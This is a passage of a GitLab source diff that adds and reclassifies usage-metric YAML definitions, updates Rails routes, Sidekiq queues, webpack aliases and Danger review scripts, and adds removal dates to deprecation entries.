index 00000000000..9bff8263121
--- /dev/null
+++ b/config/metrics/counts_7d/20211202094430_users_visiting_manage_license_compliance_weekly.yml
@@ -0,0 +1,25 @@
+---
+data_category: optional
+key_path: redis_hll_counters.testing.users_visiting_testing_manage_license_compliance_weekly
+description: Count of visiting the manage license compliance page
+product_section: sec
+product_stage: secure
+product_group: group::static analysis
+product_category: dependency_scanning
+value_type: number
+status: active
+milestone: '14.6'
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/75643
+time_frame: 7d
+data_source: redis_hll
+instrumentation_class: RedisHLLMetric
+options:
+ events:
+ - users_visiting_testing_manage_license_compliance
+distribution:
+ - ce
+ - ee
+tier:
+ - free
+ - premium
+ - ultimate
diff --git a/config/metrics/counts_all/20210216175229_auto_devops_enabled.yml b/config/metrics/counts_all/20210216175229_auto_devops_enabled.yml
index 0a26577ae8d..85870f728bb 100644
--- a/config/metrics/counts_all/20210216175229_auto_devops_enabled.yml
+++ b/config/metrics/counts_all/20210216175229_auto_devops_enabled.yml
@@ -1,5 +1,5 @@
---
-data_category: optional
+data_category: operational
key_path: counts.auto_devops_enabled
description: Projects with Auto DevOps template enabled (excluding implicit Auto DevOps
enabled and Auto DevOps template includes)
diff --git a/config/metrics/counts_all/20210216175520_ci_runners.yml b/config/metrics/counts_all/20210216175520_ci_runners.yml
index e402391f9ba..b3fa3f2678b 100644
--- a/config/metrics/counts_all/20210216175520_ci_runners.yml
+++ b/config/metrics/counts_all/20210216175520_ci_runners.yml
@@ -1,5 +1,5 @@
---
-data_category: optional
+data_category: operational
key_path: counts.ci_runners
description: Total configured Runners of all types
product_section: ops
diff --git a/config/metrics/counts_all/20210216175537_ci_pipelines.yml b/config/metrics/counts_all/20210216175537_ci_pipelines.yml
index 0a5e5ff0269..70b1c4138be 100644
--- a/config/metrics/counts_all/20210216175537_ci_pipelines.yml
+++ b/config/metrics/counts_all/20210216175537_ci_pipelines.yml
@@ -1,5 +1,5 @@
---
-data_category: optional
+data_category: operational
key_path: usage_activity_by_stage.verify.ci_pipelines
description: Distinct Users triggering Total pipelines
product_section: ops
diff --git a/config/metrics/counts_all/20210216181011_projects_with_packages.yml b/config/metrics/counts_all/20210216181011_projects_with_packages.yml
index e26cae87f95..554ed451d64 100644
--- a/config/metrics/counts_all/20210216181011_projects_with_packages.yml
+++ b/config/metrics/counts_all/20210216181011_projects_with_packages.yml
@@ -1,5 +1,5 @@
---
-data_category: optional
+data_category: operational
key_path: counts.projects_with_packages
description: Projects with package registry enabled
product_section: ops
diff --git a/config/metrics/counts_all/20210216182004_commit_comment.yml b/config/metrics/counts_all/20210216182004_commit_comment.yml
index 4e2d402e9e1..b2b19dfcf17 100644
--- a/config/metrics/counts_all/20210216182004_commit_comment.yml
+++ b/config/metrics/counts_all/20210216182004_commit_comment.yml
@@ -1,5 +1,5 @@
---
-data_category: optional
+data_category: operational
key_path: counts.commit_comment
description: Count of total unique commit comments. Does not include MR diff comments
product_section: dev
diff --git a/config/metrics/counts_all/20210216182006_source_code_pushes.yml b/config/metrics/counts_all/20210216182006_source_code_pushes.yml
index aa5c55ec3e7..9930105d8cf 100644
--- a/config/metrics/counts_all/20210216182006_source_code_pushes.yml
+++ b/config/metrics/counts_all/20210216182006_source_code_pushes.yml
@@ -1,5 +1,5 @@
---
-data_category: optional
+data_category: operational
key_path: counts.source_code_pushes
description: Count of total Git push operations
product_section: dev
diff --git a/config/metrics/counts_all/20211126090001_p_analytics_ci_cd_pipelines.yml b/config/metrics/counts_all/20211126090001_p_analytics_ci_cd_pipelines.yml
new file mode 100644
index 00000000000..7e6820b0d24
--- /dev/null
+++ b/config/metrics/counts_all/20211126090001_p_analytics_ci_cd_pipelines.yml
@@ -0,0 +1,21 @@
+---
+data_category: optional
+key_path: analytics_unique_visits.p_analytics_ci_cd_pipelines
+description: Count of unique visits to the project level CI CD Analytics pipelines tab
+product_section: dev
+product_stage: manage
+product_group: group::optimize
+product_category:
+value_type: number
+status: active
+milestone: '14.6'
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/75187
+time_frame: all
+data_source: redis_hll
+distribution:
+ - ce
+ - ee
+tier:
+ - free
+ - premium
+ - ultimate
diff --git a/config/metrics/counts_all/20211126090002_p_analytics_ci_cd_deployment_frequency.yml b/config/metrics/counts_all/20211126090002_p_analytics_ci_cd_deployment_frequency.yml
new file mode 100644
index 00000000000..134f43b1b27
--- /dev/null
+++ b/config/metrics/counts_all/20211126090002_p_analytics_ci_cd_deployment_frequency.yml
@@ -0,0 +1,21 @@
+---
+data_category: optional
+key_path: analytics_unique_visits.p_analytics_ci_cd_deployment_frequency
+description: Count of unique visits to the project level CI CD Analytics deployment frequency tab
+product_section: dev
+product_stage: manage
+product_group: group::optimize
+product_category:
+value_type: number
+status: active
+milestone: '14.6'
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/75187
+time_frame: all
+data_source: redis_hll
+distribution:
+ - ce
+ - ee
+tier:
+ - free
+ - premium
+ - ultimate
diff --git a/config/metrics/counts_all/20211126090003_p_analytics_ci_cd_lead_time.yml b/config/metrics/counts_all/20211126090003_p_analytics_ci_cd_lead_time.yml
new file mode 100644
index 00000000000..a167a380432
--- /dev/null
+++ b/config/metrics/counts_all/20211126090003_p_analytics_ci_cd_lead_time.yml
@@ -0,0 +1,21 @@
+---
+data_category: optional
+key_path: analytics_unique_visits.p_analytics_ci_cd_lead_time
+description: Count of unique visits to the project level CI CD Analytics lead time tab
+product_section: dev
+product_stage: manage
+product_group: group::optimize
+product_category:
+value_type: number
+status: active
+milestone: '14.6'
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/75187
+time_frame: all
+data_source: redis_hll
+distribution:
+ - ce
+ - ee
+tier:
+ - free
+ - premium
+ - ultimate
diff --git a/config/metrics/license/20210204124936_pages_version.yml b/config/metrics/license/20210204124936_pages_version.yml
index 5e498ceb6c4..878134574e2 100644
--- a/config/metrics/license/20210204124936_pages_version.yml
+++ b/config/metrics/license/20210204124936_pages_version.yml
@@ -1,5 +1,5 @@
---
-data_category: optional
+data_category: operational
key_path: gitlab_pages.version
description: The version number of GitLab Pages
product_section: ops
diff --git a/config/metrics/settings/20210204124856_instance_auto_devops_enabled.yml b/config/metrics/settings/20210204124856_instance_auto_devops_enabled.yml
index 5b886288fec..f0bcf95871a 100644
--- a/config/metrics/settings/20210204124856_instance_auto_devops_enabled.yml
+++ b/config/metrics/settings/20210204124856_instance_auto_devops_enabled.yml
@@ -1,5 +1,5 @@
---
-data_category: optional
+data_category: operational
key_path: instance_auto_devops_enabled
description: Whether auto DevOps is enabled
product_section: ops
diff --git a/config/metrics/settings/20210204124858_container_registry_enabled.yml b/config/metrics/settings/20210204124858_container_registry_enabled.yml
index c65d1934c61..1fdee829b84 100644
--- a/config/metrics/settings/20210204124858_container_registry_enabled.yml
+++ b/config/metrics/settings/20210204124858_container_registry_enabled.yml
@@ -1,5 +1,5 @@
---
-data_category: optional
+data_category: operational
key_path: container_registry_enabled
description: A count of projects where the container registry is enabled
product_section: ops
diff --git a/config/metrics/settings/20210204124902_gitlab_shared_runners_enabled.yml b/config/metrics/settings/20210204124902_gitlab_shared_runners_enabled.yml
index 6b5719d284d..c58b3a8c8d5 100644
--- a/config/metrics/settings/20210204124902_gitlab_shared_runners_enabled.yml
+++ b/config/metrics/settings/20210204124902_gitlab_shared_runners_enabled.yml
@@ -1,5 +1,5 @@
---
-data_category: optional
+data_category: operational
key_path: gitlab_shared_runners_enabled
description: Whether shared runners is enabled
product_section: ops
diff --git a/config/metrics/settings/20210204124914_prometheus_metrics_enabled.yml b/config/metrics/settings/20210204124914_prometheus_metrics_enabled.yml
index 1d13b72fbff..5b1447a58e8 100644
--- a/config/metrics/settings/20210204124914_prometheus_metrics_enabled.yml
+++ b/config/metrics/settings/20210204124914_prometheus_metrics_enabled.yml
@@ -1,5 +1,5 @@
---
-data_category: optional
+data_category: operational
key_path: prometheus_metrics_enabled
description: Whether Prometheus Metrics endpoint is enabled
product_section: growth
diff --git a/config/metrics/settings/20210204124934_pages_enabled.yml b/config/metrics/settings/20210204124934_pages_enabled.yml
index 28e12d85e41..e267bd7109b 100644
--- a/config/metrics/settings/20210204124934_pages_enabled.yml
+++ b/config/metrics/settings/20210204124934_pages_enabled.yml
@@ -1,5 +1,5 @@
---
-data_category: optional
+data_category: operational
key_path: gitlab_pages.enabled
description: Whether GitLab Pages is enabled
product_section: ops
diff --git a/config/metrics/settings/20210216180913_enabled.yml b/config/metrics/settings/20210216180913_enabled.yml
index c1e8869d9a6..9411f1cacf8 100644
--- a/config/metrics/settings/20210216180913_enabled.yml
+++ b/config/metrics/settings/20210216180913_enabled.yml
@@ -1,5 +1,5 @@
---
-data_category: optional
+data_category: operational
key_path: object_store.packages.enabled
description: Whether Object Storage is enabled for Uploads
product_section: enablement
diff --git a/config/metrics/settings/20211124061450_snowplow_enabled.yml b/config/metrics/settings/20211124061450_snowplow_enabled.yml
new file mode 100644
index 00000000000..ae947115704
--- /dev/null
+++ b/config/metrics/settings/20211124061450_snowplow_enabled.yml
@@ -0,0 +1,24 @@
+---
+key_path: settings.snowplow_enabled
+name: snowplow_enabled_gitlab_instance
+description: Whether snowplow is enabled for the GitLab instance
+product_section: growth
+product_stage: growth
+product_group: group::product intelligence
+product_category: product intelligence
+value_type: boolean
+status: active
+milestone: "14.6"
+introduced_by_url: 'https://gitlab.com/gitlab-org/gitlab/-/merge_requests/75184'
+time_frame: none
+data_source: system
+instrumentation_class: SnowplowEnabledMetric
+data_category: optional
+performance_indicator_type: []
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/settings/20211124085521_snowplow_configured_to_gitlab_collector_hostname.yml b/config/metrics/settings/20211124085521_snowplow_configured_to_gitlab_collector_hostname.yml
new file mode 100644
index 00000000000..4dff0b2af2f
--- /dev/null
+++ b/config/metrics/settings/20211124085521_snowplow_configured_to_gitlab_collector_hostname.yml
@@ -0,0 +1,24 @@
+---
+key_path: settings.snowplow_configured_to_gitlab_collector
+name: snowplow_configured_to_gitlab_collector
+description: Metric informs if currently configured Snowplow collector hostname points towards Gitlab Snowplow collection pipeline.
+product_section: growth
+product_stage: growth
+product_group: group::product intelligence
+product_category: product intelligence
+value_type: boolean
+status: active
+milestone: "14.6"
+introduced_by_url: 'https://gitlab.com/gitlab-org/gitlab/-/merge_requests/75184'
+time_frame: none
+data_source: system
+instrumentation_class: SnowplowConfiguredToGitlabCollectorMetric
+data_category: optional
+performance_indicator_type: []
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/routes.rb b/config/routes.rb
index 94d36961b32..b02c1380c7e 100644
--- a/config/routes.rb
+++ b/config/routes.rb
@@ -72,6 +72,7 @@ Rails.application.routes.draw do
resources :groups_projects, only: [:new, :create] do
post :import, on: :collection
end
+ draw :verification
end
end
@@ -145,7 +146,7 @@ Rails.application.routes.draw do
get 'acme-challenge/' => 'acme_challenges#show'
# UserCallouts
- resources :user_callouts, only: [:create]
+ resources :user_callouts, controller: 'users/callouts', only: [:create] # remove after 14.6 2021-12-22 to handle mixed deployments
scope :ide, as: :ide, format: false do
get '/', to: 'ide#index'
diff --git a/config/routes/admin.rb b/config/routes/admin.rb
index dac1937b76a..7f19f6b8427 100644
--- a/config/routes/admin.rb
+++ b/config/routes/admin.rb
@@ -186,4 +186,6 @@ namespace :admin do
get '/dashboard/stats', to: 'dashboard#stats'
root to: 'dashboard#index'
+
+ get :version_check, to: 'version_check#version_check'
end
diff --git a/config/routes/group.rb b/config/routes/group.rb
index 9a50d580747..da205163e6d 100644
--- a/config/routes/group.rb
+++ b/config/routes/group.rb
@@ -126,11 +126,9 @@ constraints(::Constraints::GroupUrlConstrainer.new) do
end
end
- resources :crm, only: [] do
- collection do
- get 'contacts'
- get 'organizations'
- end
+ namespace :crm do
+ resources :contacts, only: [:index, :new, :edit]
+ resources :organizations, only: [:index, :new]
end
end
diff --git a/config/routes/profile.rb b/config/routes/profile.rb
index 3eda53318e3..b8d4a0c49c2 100644
--- a/config/routes/profile.rb
+++ b/config/routes/profile.rb
@@ -22,7 +22,14 @@ resource :profile, only: [:show, :update] do
end
resource :notifications, only: [:show, :update] do
- resources :groups, only: :update, constraints: { id: Gitlab::PathRegex.full_namespace_route_regex }
+ scope(path: 'groups/*id',
+ id: Gitlab::PathRegex.full_namespace_route_regex,
+ as: :group,
+ controller: :groups,
+ constraints: { format: /(html|json)/ }) do
+ patch '/', action: :update
+ put '/', action: :update
+ end
end
resource :password, only: [:new, :create, :edit, :update] do
diff --git a/config/routes/project.rb b/config/routes/project.rb
index 7f9b2cc4fbf..5f1b35d67c0 100644
--- a/config/routes/project.rb
+++ b/config/routes/project.rb
@@ -317,6 +317,10 @@ constraints(::Constraints::ProjectUrlConstrainer.new) do
resources :google_cloud, only: [:index]
+ namespace :google_cloud do
+ resources :service_accounts, only: [:index, :create]
+ end
+
resources :environments, except: [:destroy] do
member do
post :stop
@@ -453,6 +457,10 @@ constraints(::Constraints::ProjectUrlConstrainer.new) do
end
end
end
+
+ namespace :integrations do
+ resource :shimo, only: [:show]
+ end
end
# End of the /-/ scope.
diff --git a/config/routes/user.rb b/config/routes/user.rb
index 01de59c3357..64dc56e18ec 100644
--- a/config/routes/user.rb
+++ b/config/routes/user.rb
@@ -61,6 +61,7 @@ scope '-/users', module: :users do
post :decline, on: :member
end
+ resources :callouts, only: [:create]
resources :group_callouts, only: [:create]
end
diff --git a/config/sidekiq_queues.yml b/config/sidekiq_queues.yml
index f7e3f036c53..49989e022fa 100644
--- a/config/sidekiq_queues.yml
+++ b/config/sidekiq_queues.yml
@@ -73,6 +73,8 @@
- 1
- - ci_delete_objects
- 1
+- - ci_upstream_projects_subscriptions_cleanup
+ - 1
- - container_repository
- 1
- - create_commit_signature
@@ -203,6 +205,8 @@
- 1
- - incident_management_pending_escalations_alert_create
- 1
+- - incident_management_pending_escalations_issue_check
+ - 1
- - integrations_create_external_cross_reference
- 1
- - invalid_gpg_signature_update
@@ -269,6 +273,8 @@
- 1
- - namespaces_onboarding_user_added
- 1
+- - namespaces_process_sync_events
+ - 1
- - namespaces_sync_namespace_name
- 1
- - new_epic
@@ -335,6 +341,8 @@
- 1
- - projects_post_creation
- 1
+- - projects_process_sync_events
+ - 1
- - projects_schedule_bulk_repository_shard_moves
- 1
- - projects_update_repository_storage
@@ -351,8 +359,6 @@
- 1
- - propagate_integration_project
- 1
-- - propagate_service_template
- - 1
- - reactive_caching
- 1
- - rebase
diff --git a/config/webpack.config.js b/config/webpack.config.js
index f334e17bbaf..7eaa11d9346 100644
--- a/config/webpack.config.js
+++ b/config/webpack.config.js
@@ -163,6 +163,9 @@ const alias = {
// the following resolves files which are different between CE and JH
jh_else_ce: path.join(ROOT_PATH, 'app/assets/javascripts'),
+ // the following resolves files which are different between CE/EE/JH
+ any_else_ce: path.join(ROOT_PATH, 'app/assets/javascripts'),
+
// override loader path for icons.svg so we do not duplicate this asset
'@gitlab/svgs/dist/icons.svg': path.join(
ROOT_PATH,
@@ -179,6 +182,8 @@ if (IS_EE) {
ee_images: path.join(ROOT_PATH, 'ee/app/assets/images'),
ee_jest: path.join(ROOT_PATH, 'ee/spec/frontend'),
ee_else_ce: path.join(ROOT_PATH, 'ee/app/assets/javascripts'),
+ jh_else_ee: path.join(ROOT_PATH, 'ee/app/assets/javascripts'),
+ any_else_ce: path.join(ROOT_PATH, 'ee/app/assets/javascripts'),
});
}
@@ -190,7 +195,10 @@ if (IS_JH) {
jh_icons: path.join(ROOT_PATH, 'jh/app/views/shared/icons'),
jh_images: path.join(ROOT_PATH, 'jh/app/assets/images'),
jh_jest: path.join(ROOT_PATH, 'jh/spec/frontend'),
+ // jh path alias https://gitlab.com/gitlab-org/gitlab/-/merge_requests/74305#note_732793956
jh_else_ce: path.join(ROOT_PATH, 'jh/app/assets/javascripts'),
+ jh_else_ee: path.join(ROOT_PATH, 'jh/app/assets/javascripts'),
+ any_else_ce: path.join(ROOT_PATH, 'jh/app/assets/javascripts'),
});
}
diff --git a/danger/ci_config/Dangerfile b/danger/ci_config/Dangerfile
new file mode 100644
index 00000000000..5022ccc1539
--- /dev/null
+++ b/danger/ci_config/Dangerfile
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+all_changed_files = helper.all_changed_files
+
+def get_ci_config_files(files)
+ files.select do |file|
+ file.include?('gitlab/ci/config/entry')
+ end
+end
+
+schema_path = 'app/assets/javascripts/editor/schema/ci.json'
+has_schema_update = all_changed_files.include?(schema_path)
+return if has_schema_update
+
+ci_config_files = get_ci_config_files(all_changed_files)
+return if ci_config_files.empty?
+
+file_list = "- #{ci_config_files.map { |path| "`#{path}`" }.join("\n- ")}"
+
+warn "This merge request changed CI config files but did not update the schema. Please consider updating [the schema](#{schema_path}) to reflect these changes:\n#{file_list}"
diff --git a/danger/ci_templates/Dangerfile b/danger/ci_templates/Dangerfile
index fcd9080e7d1..3d57436ef94 100644
--- a/danger/ci_templates/Dangerfile
+++ b/danger/ci_templates/Dangerfile
@@ -17,7 +17,7 @@ MSG
return unless helper.ci?
-template_paths_to_review = project_helper.changes_by_category[:ci_template]
+template_paths_to_review = helper.changes_by_category[:ci_template]
if gitlab.mr_labels.include?('ci::templates') || template_paths_to_review.any?
message 'This merge request adds or changes files that require a ' \
diff --git a/danger/database/Dangerfile b/danger/database/Dangerfile
index 70adbb4c139..b4e06c21fe4 100644
--- a/danger/database/Dangerfile
+++ b/danger/database/Dangerfile
@@ -51,7 +51,7 @@ end
return unless helper.ci?
return if gitlab.mr_labels.include?(DATABASE_APPROVED_LABEL)
-db_paths_to_review = project_helper.changes_by_category[:database]
+db_paths_to_review = helper.changes_by_category[:database]
if gitlab.mr_labels.include?('database') || db_paths_to_review.any?
message 'This merge request adds or changes files that require a ' \
diff --git a/danger/documentation/Dangerfile b/danger/documentation/Dangerfile
index 01ef5dbb49e..918c787075e 100644
--- a/danger/documentation/Dangerfile
+++ b/danger/documentation/Dangerfile
@@ -13,7 +13,7 @@ For more information, see:
- The [definition of done](https://docs.gitlab.com/ee/development/contributing/merge_request_workflow.html#definition-of-done) documentation.
MSG
-docs_paths_to_review = project_helper.changes_by_category[:docs]
+docs_paths_to_review = helper.changes_by_category[:docs]
# Documentation should be updated for feature::addition and feature::enhancement
if docs_paths_to_review.empty?
diff --git a/danger/product_intelligence/Dangerfile b/danger/product_intelligence/Dangerfile
index eedb9b89d22..01a2f9b6feb 100644
--- a/danger/product_intelligence/Dangerfile
+++ b/danger/product_intelligence/Dangerfile
@@ -12,11 +12,11 @@ For MR review guidelines, see the [Service Ping review guidelines](https://docs.
MSG
# exit if not matching files or if no product intelligence labels
-product_intelligence_paths_to_review = project_helper.changes_by_category[:product_intelligence]
+product_intelligence_paths_to_review = helper.changes_by_category[:product_intelligence]
labels_to_add = product_intelligence.missing_labels
-return if product_intelligence_paths_to_review.empty? || labels_to_add.empty?
+return if product_intelligence_paths_to_review.empty? || product_intelligence.skip_review?
-warn format(CHANGED_FILES_MESSAGE, changed_files: helper.markdown_list(product_intelligence_paths_to_review))
+warn format(CHANGED_FILES_MESSAGE, changed_files: helper.markdown_list(product_intelligence_paths_to_review)) unless product_intelligence.has_approved_label?
-project_helper.labels_to_add.concat(labels_to_add)
+project_helper.labels_to_add.concat(labels_to_add) unless labels_to_add.empty?
diff --git a/danger/roulette/Dangerfile b/danger/roulette/Dangerfile
index 4eb1d987d84..8d1b14d3b9a 100644
--- a/danger/roulette/Dangerfile
+++ b/danger/roulette/Dangerfile
@@ -49,8 +49,8 @@ for them.
MARKDOWN
def group_not_available_template(slack_channel, gitlab_group)
- <<~TEMPLATE
- No engineer is available for automated assignment, please reach out to `#{slack_channel}` slack channel or mention `#{gitlab_group}` for assistance.
+ <<~TEMPLATE.strip
+ No engineer is available for automated assignment, please reach out to the `#{slack_channel}` Slack channel or mention `#{gitlab_group}` for assistance.
TEMPLATE
end
@@ -89,7 +89,7 @@ def markdown_row_for_spins(category, spins_array)
"| #{helper.label_for_category(category)} | #{reviewer_note} | #{maintainer_note} |"
end
-changes = project_helper.changes_by_category
+changes = helper.changes_by_category
# Ignore any files that are known but uncategorized. Prompt for any unknown files
changes.delete(:none)
@@ -111,12 +111,10 @@ categories << :ux if (["UX", "Community contribution"] - helper.mr_labels).empty
categories << :product_intelligence if helper.mr_labels.include?("product intelligence::review pending")
# Skip Product intelligence reviews for growth experiment MRs
-categories.delete(:product_intelligence) unless helper.mr_labels.include?("growth experiment")
+categories.delete(:product_intelligence) if helper.mr_labels.include?("growth experiment")
if changes.any?
- project = project_helper.project_name
-
- random_roulette_spins = roulette.spin(project, categories, timezone_experiment: false)
+ random_roulette_spins = roulette.spin(nil, categories, timezone_experiment: false)
rows = random_roulette_spins.map do |spin|
markdown_row_for_spins(spin.category, [spin])
diff --git a/danger/specialization_labels/Dangerfile b/danger/specialization_labels/Dangerfile
index 24a759cddc8..cb4c8c96f4f 100644
--- a/danger/specialization_labels/Dangerfile
+++ b/danger/specialization_labels/Dangerfile
@@ -14,7 +14,7 @@ SPECIALIZATIONS = {
feature_flag: 'feature flag'
}.freeze
-labels_to_add = project_helper.changes_by_category.each_with_object([]) do |(category, _changes), memo|
+labels_to_add = helper.changes_by_category.each_with_object([]) do |(category, _changes), memo|
label = SPECIALIZATIONS[category]
next unless label
next if gitlab.mr_labels.include?(label)
diff --git a/danger/specs/Dangerfile b/danger/specs/Dangerfile
index 067fb62807a..c4f609f5806 100644
--- a/danger/specs/Dangerfile
+++ b/danger/specs/Dangerfile
@@ -50,7 +50,7 @@ if has_ee_app_changes && has_spec_changes && !(has_app_changes || has_ee_spec_ch
end
# Forbidding a new file addition under `/spec/controllers` or `/ee/spec/controllers`
-if project_helper.changes.added.files.grep(%r{^(ee/)?spec/controllers/}).any?
+if helper.changes.added.files.grep(%r{^(ee/)?spec/controllers/}).any?
warn CONTROLLER_SPEC_DEPRECATION_MESSAGE
end
diff --git a/data/deprecations/ runner-s3-authenticationtype-nonexplicit-config-deprecation.yml b/data/deprecations/ runner-s3-authenticationtype-nonexplicit-config-deprecation.yml
index 01ca5839281..c4c5f6258b4 100644
--- a/data/deprecations/ runner-s3-authenticationtype-nonexplicit-config-deprecation.yml
+++ b/data/deprecations/ runner-s3-authenticationtype-nonexplicit-config-deprecation.yml
@@ -1,11 +1,12 @@
-- name: "`AuthenticationType` for `[runners.cache.s3]` must be explicitly assigned"
+- name: "Must explicitly assign `AuthenticationType` for `[runners.cache.s3]`"
announcement_milestone: "14.5" # The milestone when this feature was first announced as deprecated.
announcement_date: "2021-11-22"
removal_milestone: "15.0" # the milestone when this feature is planned to be removed
+ removal_date: "2022-05-22" # the date of the milestone release when this feature is planned to be removed
body: | # Do not modify this line, instead modify the lines below.
In GitLab 15.0 and later, to access the AWS S3 cache, you must specify the `AuthenticationType` for [`[runners.cache.s3]`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runnerscaches3-section). The `AuthenticationType` must be `IAM` or `credentials`.
- Prior to 14.5, if you did not define the `AuthenticationType`, GitLab Runner chose a type for you.
+ Prior to 14.5, if you did not define the `AuthenticationType`, GitLab Runner chose a type for you.
stage: Verify
tiers: [Core, Premium, Ultimate]
issue_url: https://gitlab.com/gitlab-org/gitlab-runner/-/issues/28171
diff --git a/data/deprecations/14-0-nfs-fot-git-repository-storage.yml b/data/deprecations/14-0-nfs-fot-git-repository-storage.yml
index 6884f6e3f69..a1261154e8c 100644
--- a/data/deprecations/14-0-nfs-fot-git-repository-storage.yml
+++ b/data/deprecations/14-0-nfs-fot-git-repository-storage.yml
@@ -2,6 +2,7 @@
announcement_milestone: "14.0" # The milestone when this feature was first announced as deprecated.
announcement_date: "2021-06-22" # The date of the milestone release when this feature was first announced as deprecated
removal_milestone: "15.0" # The milestone when this feature is planned to be removed
+ removal_date: "2022-05-22" # the date of the milestone release when this feature is planned to be removed
body: | # Do not modify this line, instead modify the lines below.
With the general availability of Gitaly Cluster ([introduced in GitLab 13.0](https://about.gitlab.com/releases/2020/05/22/gitlab-13-0-released/)), we have deprecated development (bugfixes, performance improvements, etc) for NFS for Git repository storage in GitLab 14.0. We will continue to provide technical support for NFS for Git repositories throughout 14.x, but we will remove all support for NFS in GitLab 15.0. Please see our official [Statement of Support](https://about.gitlab.com/support/statement-of-support.html#gitaly-and-nfs) for further information.
@@ -19,4 +20,3 @@
documentation_url: # (optional) This is a link to the current documentation page
image_url: # (optional) This is a link to a thumbnail image depicting the feature
video_url: # (optional) Use the youtube thumbnail URL with the structure of https://img.youtube.com/vi/UNIQUEID/hqdefault.jpg
- removal_date: "2022-05-22" # (optional - may be required in the future) YYYY-MM-DD format - the date of the milestone release when this feature is planned to be removed
diff --git a/data/deprecations/14-2-deprecation-task-runner.yml b/data/deprecations/14-2-deprecation-task-runner.yml
index 52fd1f0f288..9f4d81ddd3a 100644
--- a/data/deprecations/14-2-deprecation-task-runner.yml
+++ b/data/deprecations/14-2-deprecation-task-runner.yml
@@ -2,6 +2,7 @@
announcement_milestone: "14.2" # The milestone when this feature was first announced as deprecated.
announcement_date: "2021-08-22" # The date of the milestone release when this feature was first announced as deprecated
removal_milestone: "14.5" # The milestone when this feature is planned to be removed
+ removal_date: "2021-11-22" # the date of the milestone release when this feature is planned to be removed
body: | # Do not modify this line, instead modify the lines below.
The Task Runner pod is used to execute periodic housekeeping tasks within the GitLab application and is often confused with the GitLab Runner. Thus, [Task Runner will be renamed to Toolbox](https://gitlab.com/groups/gitlab-org/charts/-/epics/25).
@@ -13,4 +14,3 @@
documentation_url: # (optional) This is a link to the current documentation page
image_url: # (optional) This is a link to a thumbnail image depicting the feature
video_url: # (optional) Use the youtube thumbnail URL with the structure of https://img.youtube.com/vi/UNIQUEID/hqdefault.jpg
- removal_date: "2021-11-22" # (optional - may be required in the future) YYYY-MM-DD format - the date of the milestone release when this feature is planned to be removed
diff --git a/data/deprecations/14-3-database-deprecate-legacy-database-conf.yml b/data/deprecations/14-3-database-deprecate-legacy-database-conf.yml
index f3f6553729e..e460abcb077 100644
--- a/data/deprecations/14-3-database-deprecate-legacy-database-conf.yml
+++ b/data/deprecations/14-3-database-deprecate-legacy-database-conf.yml
@@ -2,6 +2,7 @@
announcement_milestone: "14.3"
announcement_date: "2021-09-22"
removal_milestone: "15.0"
+ removal_date: "2022-05-22" # the date of the milestone release when this feature is planned to be removed
body: |
The syntax of [GitLabs database](https://docs.gitlab.com/omnibus/settings/database.html)
configuration located in `database.yml` is changing and the legacy format is deprecated. The legacy format
diff --git a/data/deprecations/14-3-deprecation-release-cli.yml b/data/deprecations/14-3-deprecation-release-cli.yml
index 4273d00fc73..d04e97df380 100644
--- a/data/deprecations/14-3-deprecation-release-cli.yml
+++ b/data/deprecations/14-3-deprecation-release-cli.yml
@@ -2,6 +2,7 @@
announcement_milestone: "14.2" # The milestone when this feature was first announced as deprecated.
announcement_date: "2021-08-22" # The date of the milestone release when this feature was first announced as deprecated
removal_milestone: "14.6" # The milestone when this feature is planned to be removed
+ removal_date: "2021-12-22" # the date of the milestone release when this feature is planned to be removed
body: | # Do not modify this line, instead modify the lines below.
The [release-cli](https://gitlab.com/gitlab-org/release-cli) will be released as a [generic package](https://gitlab.com/gitlab-org/release-cli/-/packages) starting in GitLab 14.2. We will continue to deploy it as a binary to S3 until GitLab 14.5 and stop distributing it in S3 in GitLab 14.6.
stage: # (optional - may be required in the future) String value of the stage that the feature was created in. e.g., Growth
@@ -10,4 +11,3 @@
documentation_url: # (optional) This is a link to the current documentation page
image_url: # (optional) This is a link to a thumbnail image depicting the feature
video_url: # (optional) Use the youtube thumbnail URL with the structure of https://img.youtube.com/vi/UNIQUEID/hqdefault.jpg
- removal_date: "2021-12-22" # (optional - may be required in the future) YYYY-MM-DD format - the date of the milestone release when this feature is planned to be removed
diff --git a/data/deprecations/14-3-package-container-registry-api-group-update.yml b/data/deprecations/14-3-package-container-registry-api-group-update.yml
index 3021e283846..de5d184888a 100644
--- a/data/deprecations/14-3-package-container-registry-api-group-update.yml
+++ b/data/deprecations/14-3-package-container-registry-api-group-update.yml
@@ -1,6 +1,7 @@
- name: "Update to the Container Registry group-level API"
announcement_milestone: "14.5" # The milestone when this feature was first announced as deprecated.
removal_milestone: "15.0" # the milestone when this feature is planned to be removed
+ removal_date: "2022-05-22" # the date of the milestone release when this feature is planned to be removed
body: | # Do not modify this line, instead modify the lines below.
In milestone 15.0, support for the `tags` and `tags_count` parameters will be removed from the Container Registry API that [gets registry repositories from a group](../api/container_registry.md#within-a-group).
diff --git a/data/deprecations/14-3-repository-push-audit-events.yml b/data/deprecations/14-3-repository-push-audit-events.yml
index 4bca8751db4..defa4576cde 100644
--- a/data/deprecations/14-3-repository-push-audit-events.yml
+++ b/data/deprecations/14-3-repository-push-audit-events.yml
@@ -1,6 +1,7 @@
- name: "Audit events for repository push events"
announcement_milestone: "14.3" # The milestone when this feature was first announced as deprecated.
removal_milestone: "15.0" # the milestone when this feature is planned to be removed
+ removal_date: "2022-05-22" # the date of the milestone release when this feature is planned to be removed
body: | # Do not modify this line, instead modify the lines below.
Audit events for [repository events](https://docs.gitlab.com/ee/administration/audit_events.html#repository-push) are now deprecated and will be removed in GitLab 15.0.
diff --git a/data/deprecations/14-5-certificate-based-integration-with-kubernetes.yml b/data/deprecations/14-5-certificate-based-integration-with-kubernetes.yml
index 86e7718b9e1..e93fa25facb 100644
--- a/data/deprecations/14-5-certificate-based-integration-with-kubernetes.yml
+++ b/data/deprecations/14-5-certificate-based-integration-with-kubernetes.yml
@@ -2,6 +2,7 @@
announcement_milestone: "14.5"
